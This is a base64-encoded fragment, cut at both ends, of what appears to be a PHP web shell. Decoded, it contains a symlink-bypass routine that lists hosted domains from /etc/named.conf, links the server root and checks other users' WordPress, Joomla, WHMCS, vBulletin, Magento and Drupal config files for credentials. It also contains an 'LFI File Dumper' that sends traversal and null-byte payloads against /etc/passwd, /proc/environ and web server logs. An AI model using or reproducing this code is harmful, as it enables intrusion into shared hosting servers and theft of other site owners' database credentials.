RyPiI7DQogICAgICAgICAgICAkY291bnQ9MTsNCiAgICAgICAgICAgIGZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7DQogICAgICAgICAgICAgICAgaWYoQGVyZWdpKCJ6b25lIiwkZDBtYWluKSl7DQogICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOw0KICAgICAgICAgICAgICAgICAgICBmbHVzaCgpOw0KICAgICAgICAgICAgICAgICAgICBpZihzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMil7DQogICAgICAgICAgICAgICAgICAgICAgICAkdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluc1sxXVswXSkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRyPjx0ZD4iLiRjb3VudC4iPC90ZD48dGQ+PGEgaHJlZj1odHRwOi8vIi4kZG9tYWluc1sxXVswXS4iLz4iLiRkb21haW5zWzFdWzBdLiI8L2E+PC90ZD48dGQ+Ii4kdXNlclsnbmFtZSddLiI8L3RkPjwvdHI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZsdXNoKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkY291bnQrKzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICI8L2NlbnRlcj4iOyANCiAgICB9DQogDQogICAgaWYoaXNzZXQoJF9QT1NUWydwMSddKSAmJiAkX1BPU1RbJ3AxJ109PSd3aG9sZScpDQogICAgew0KICAgICAgICBlY2hvICI8Y2VudGVyPiI7DQogICAgICAgIEBta2Rpcignc3ltJywwNzc3KTsNCiAgICAgICAgJGhkdCAgPSAiT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOw0KICAgICAgICAkaGZwID1AZm9wZW4gKCdzeW0vLmh0YWNjZXNzJywndycpOw0KICAgICAgICBmd3JpdGUoJGhmcCAsJGhkdCk7DQogICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpKSB7DQogICAgICAgICAgICBAc3ltbGluaygnLycsJ3N5bS9yb290Jyk7DQogICAgICAgIH0NCiAgICAgICAgJGQwbWFpbnMgPSBAZmlsZSgnL2V0Yy9uYW1lZC5jb25mJyk7DQogICAgICAgIGlmKCEkZDBtYWlucykgew0KICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz4jIENhbnQgYWNjZXNzIHRoaXMgZmlsZSBvbiBzZXJ2ZXIgLT4gWyAvZXRjL25hbWVkLmNvbmYgXTwvcHJlPjwvY2VudGVyPiI7IA0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnIGNsYXNzPSdtYWluJz48dHIgYmdjb2xvcj1cIiMwMDAwMDBcIj48dGQ+IENvdW50IDwvdGQ+PHRkPiBEb21haW5zIDwvdGQ+PHRkPiBVc2VyIDwvdGQ+PHRkPiBTeW1saW5rIDwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgJGNvdW50PTE7DQogICAgICAgICAgICBmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pew0KICAgICAgICAgICAgICAgIGlmKEBlcmVnaSgnem9uZScsJGQwbWFpbikpew0KICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsJGQwbWFpbiwkZG9tYWluKTsNCiAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsNCiAgICAgICAgICAgICAgICAgICAgaWYoc3RybGVuKHRyaW0oJGRvbWFpblsxXVswXSkpID4yKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcignL2V0Yy92YWxpYXNlcy8nLiRkb21haW5bMV1bMF0pKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRkZHQgPSAkdXNlclsnbmFtZSddIDsNCiAgICAgICAgICAgICAgICAgICAgICAgIEBzeW1saW5rKCcvJywnc3ltL3Jvb3QnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRkZHQgPSAkZG9tYWluWzFdWzBdOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoQGVyZWdpKCJcLmlyIiwkZG9tYWluWzFdWzBdKSBvciBAZXJlZ2koIlwuaWwiLCRkb21haW5bMV1bMF0pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRkdCA9ICI8ZGl2IHN0eWxlPScgY29sb3I6ICNGRjAwMDAgOyB0ZXh0LXNoYWRvdzogMHB4IDBweCAxcHggIzZiNmI2YjsgJz4iLiRkb21haW5bMV1bMF0uJzwvZGl2Pic7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dHI+PHRkPiIuJGNvdW50KysuIjwvdGQ+PHRkPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPWh0dHA6Ly8iLiRkb21haW5bMV1bMF0uJy8+Jy4kZGR0LicgPC9hPjwvdGQ+PHRkPicuJHVzZXJbJ25hbWUnXS4iPC90ZD48dGQ+PGEgaHJlZj0nc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPnN5bWxpbmsgPC9hPjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBlY2hvICI8L2NlbnRlcj48L3RhYmxlPiI7ICAgIA0KICAgIH0NCiANCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXT09J2NvbmZpZycpDQogICAgew0KICAgICAgICBlY2hvICI8Y2VudGVyPiI7DQogICAgICAgIEBta2Rpcignc3ltJywwNzc3KTsNCiAgICAgICAgJGhkdCA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7DQogICAgICAgICRoZnAgPSBAZm9wZW4gKCdzeW0vLmh0YWNjZXNzJywndycpOw0KICAgICAgICBAZndyaXRlKCRoZnAgLCRoZHQpOw0KICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKSkgew0KICAgICAgICAgICAgQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOw0KICAgICAgICB9DQogICAgICAgICRkMG1haW5zID0gQGZpbGUoJy9ldGMvbmFtZWQuY29uZicpOw0KICAgICAgICBpZighJGQwbWFpbnMpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+IyBDYW50IGFjY2VzcyB0aGlzIGZpbGUgb24gc2VydmVyIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF08L3ByZT48L2NlbnRlcj4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnIGNsYXNzPSdtYWluJyA+PHRyIGJnY29sb3I9XCIjMDAwMDAwXCI+PHRkPiBDb3VudCA8L3RkPjx0ZD4gRG9tYWlucyA8L3RkPjx0ZD4gU2NyaXB0IDwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgJGNvdW50ID0gMTsNCiAgICAgICAgICAgIGZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7DQogICAgICAgICAgICAgICAgaWYoQGVyZWdpKCd6b25lJywkZDBtYWluKSl7DQogICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkZDBtYWluLCRkb21haW4pOw0KICAgICAgICAgICAgICAgICAgICBmbHVzaCgpOw0KICAgICAgICAgICAgICAgICAgICBpZihzdHJsZW4odHJpbSgkZG9tYWluWzFdWzBdKSk+Mil7DQogICAgICAgICAgICAgICAgICAgICAgICAkdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJy9ldGMvdmFsaWFzZXMvJy4kZG9tYWluWzFdWzBdKSk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRjMSA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDAxID0gZ2V0X2hlYWRlcnMoJGMxKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjZjAxID0gJGNoMDFbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAkYzIgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDAyID0gZ2V0X2hlYWRlcnMoJGMyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjZjAyID0gJGNoMDJbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAkYzMgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDMgPSBnZXRfaGVhZGVycygkYzMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDMgPSAkY2gwM1swXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjNCA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDQgPSBnZXRfaGVhZGVycygkYzQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDQgPSAkY2gwNFswXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjNSA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA1ID0gZ2V0X2hlYWRlcnMoJGM1KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjZjA1ID0gJGNoMDVbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAkYzYgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCc7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2gwNiA9IGdldF9oZWFkZXJzKCRjNik7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2YwNiA9ICRjaDA2WzBdOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGM3ID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDcgPSBnZXRfaGVhZGVycygkYzcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDcgPSAkY2gwN1swXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjOCA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJ3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDggPSBnZXRfaGVhZGVycygkYzgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDggPSAkY2gwOFswXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjOSA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA5ID0gZ2V0X2hlYWRlcnMoJGM5KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjZjA5ID0gJGNoMDlbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAkYzEwID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCc7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2gxMCA9IGdldF9oZWFkZXJzKCRjMTApOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNmMTAgPSAkY2gxMFswXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjMTEgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCc7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2gxMSA9IGdldF9oZWFkZXJzKCRjMTEpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNmMTEgPSAkY2gxMVswXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjMTIgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDEyID0gZ2V0X2hlYWRlcnMoJGMxMik7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2YxMiA9ICRjaDEyWzBdOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGMxMyA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWd1cmUucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDEzID0gZ2V0X2hlYWRlcnMoJGMxMyk7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2YxMyA9ICRjaDEzWzBdOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGMxNCA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2FwcF9jb25maWcucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDE0ID0gZ2V0X2hlYWRlcnMoJGMxNCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2YxNCA9ICRjaDE0WzBdOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGMxNSA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCc7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2gxNSA9IGdldF9oZWFkZXJzKCRjMTUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNmMTUgPSAkY2gxNVswXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgJG91dCA9ICcmbmJzcDsnOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoc3RycG9zKCRjZjAxLCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIjxhIGhyZWY9JyIuJGMxLiInIHRhcmdldD0nX2JsYW5rJz5Xb3JkcHJlc3M8L2E+IjsgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwMiwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIjxhIGhyZWY9JyIuJGMyLiInIHRhcmdldD0nX2JsYW5rJz5Xb3JkcHJlc3M8L2E+IjsgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjAzLCcyMDAnKSA9PSB0cnVlICYmIHN0cnBvcygkY2YxMSwnMjAwJykgPT0gdHJ1ZSkgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGMxMS4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDksJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzkuIicgdGFyZ2V0PSdfYmxhbmsnPldITUNTPC9hPiI7ICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YxMCwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjMTAuIicgdGFyZ2V0PSdfYmxhbmsnPldITUNTPC9hPiI7ICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjAzLCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGMzLiInIHRhcmdldD0nX2JsYW5rJz5Kb29tbGE8L2E+IjsgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDQsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzQuIicgdGFyZ2V0PSdfYmxhbmsnPkpvb21sYTwvYT4iOyAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwNSwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNS4iJyB0YXJnZXQ9J19ibGFuayc+dkJ1bGxldGluPC9hPiI7ICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjA2LCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM2LiInIHRhcmdldD0nX2JsYW5rJz52QnVsbGV0aW48L2E+IjsgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDcsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPnZCdWxsZXRpbjwvYT4iOyAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwOCwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+Q2xpZW50IEFyZWE8L2E+IjsgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMTIsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPkNsaWVudCBBcmVhPC9hPiI7ICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjEzLCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz5vc0NvbW1lcmNlL1plbiBDYXJ0PC9hPiI7ICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjE0LCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz5NYWdlbnRvPC9hPiI7ICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjE1LCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz5EcnVwYWw8L2E+IjsgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyPjx0ZD4nLiRjb3VudCsrLic8L3RkPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cuJy4kZG9tYWluWzFdWzBdLicvPicuJGRvbWFpblsxXVswXS4nPC9hPjwvdGQ+PHRkPicuJHVzZXJbJ25hbWUnXS4nPC90ZD48dGQ+Jy4kb3V0Lic8L3RkPjwvdHI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZsdXNoKCk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICI8L3RhYmxlPiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiPC9jZW50ZXI+IjsgICANCiAgICB9DQogICAgZWNobyAiPC9kaXY+IjsNCiAgICBCT0ZGRm9vdGVyKCk7DQp9IA0KZnVuY3Rpb24gYWN0aW9ubGZpc2NhbigpIHsNCiAgICBCT0ZGSGVhZGVyKCk7DQogICAgcHJpbnQgJw0KICAgPGgzPnhIYXhPciBMRkkgRmlsZSBEdW1wZXI8L2gzPg0KDQogICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxmaXNjYW4iPg0KICAgICAgTEZJIFVSTDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjYwIiBuYW1lPSJsZml1cmwiIHZhbHVlPSIiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iPiBGaWxlOiA8c2VsZWN0IG5hbWU9InNjYW50eXBlIj4NCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IjEiPg0KICAgICAgICAgICAgQWNjZXNzIExvZw0KICAgICAgICAgPC9vcHRpb24+DQoNCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IjIiPg0KICAgICAgICAgICAgaHR0cGQuY29uZg0KICAgICAgICAgPC9vcHRpb24+DQoNCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IjMiPg0KICAgICAgICAgICAgRXJyb3IgTG9nDQogICAgICAgICA8L29wdGlvbj4NCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IjQiPg0KICAgICAgICAgICAgcGhwLmluaQ0KICAgICAgICAgPC9vcHRpb24+DQogICAgICAgICA8b3B0aW9uIHZhbHVlPSI1Ij4NCiAgICAgICAgICAgIE15U1FMDQogICAgICAgICA8L29wdGlvbj4NCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IjYiPg0KICAgICAgICAgICAgRlRQDQogICAgICAgICA8L29wdGlvbj4NCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IjciPg0KICAgICAgICAgICAgRW52aXJvbg0KICAgICAgICAgPC9vcHRpb24+DQogICAgICA8L3NlbGVjdD4gTnVsbDogPHNlbGVjdCBuYW1lPSJudWxsIj4NCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IiUwMCI+DQogICAgICAgICAgICBZZXMNCiAgICAgICAgIDwvb3B0aW9uPg0KDQogICAgICAgICA8b3B0aW9uIHZhbHVlPSIiPg0KICAgICAgICAgICAgTm8NCiAgICAgICAgIDwvb3B0aW9uPg0KICAgICAgPC9zZWxlY3Q+IFVzZXItQWdlbnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgbmFtZT0iY3VzdG9tX2hlYWRlciIgdmFsdWU9IiI+DQogICA8L2Zvcm0+JzsNCiAgIGVycm9yX3JlcG9ydGluZygwKTsNCiAgICAgIGlmKCRfUE9TVFsnbGZpdXJsJ10pIHsNCiAgICAgICAgIHByaW50ICI8cHJlPiI7DQogICAgICAgICAkY2hlYWRlciA9ICRfUE9TVFsnY3VzdG9tX2hlYWRlciddOw0KICAgICAgICAgJHRhcmdldCA9ICRfUE9TVFsnbGZpdXJsJ107DQogICAgICAgICAkdHlwZSA9ICRfUE9TVFsnc2NhbnR5cGUnXTsNCiAgICAgICAgICRieXRlMSA9ICRfUE9TVFsnbnVsbCddOw0KICAgICAgICAgJGxmaXRlc3QgPSAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCIuJGJ5dGUxLiIiOw0KICAgICAgICAgJGxmaXRlc3QyID0gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2Zha2UvZmlsZSIuJGJ5dGUxLiIiOw0KICAgICAgICAgJGxmaXByb2NlbnYgPSAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vcHJvYy9lbnZpcm9uIi4kYnl0ZTEuIiI7DQogICAgICAgICAkbGZpYWNjZXNzID0gYXJyYXkoDQogICAgICAgICAgICAxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9hcGFjaGUvbG9ncy9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cGQvbG9ncy9hY2Nlc19sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwZC9sb2dzL2FjY2VzLmxvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9sb2dzL2FjY2Vzc19sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci93d3cvbG9ncy9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICA2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvYXBhY2hlL2FjY2Vzc19sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvYXBhY2hlMi9hY2Nlc3NfbG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAxMCA9PiAiLi4vLi4vLi4vLi4vL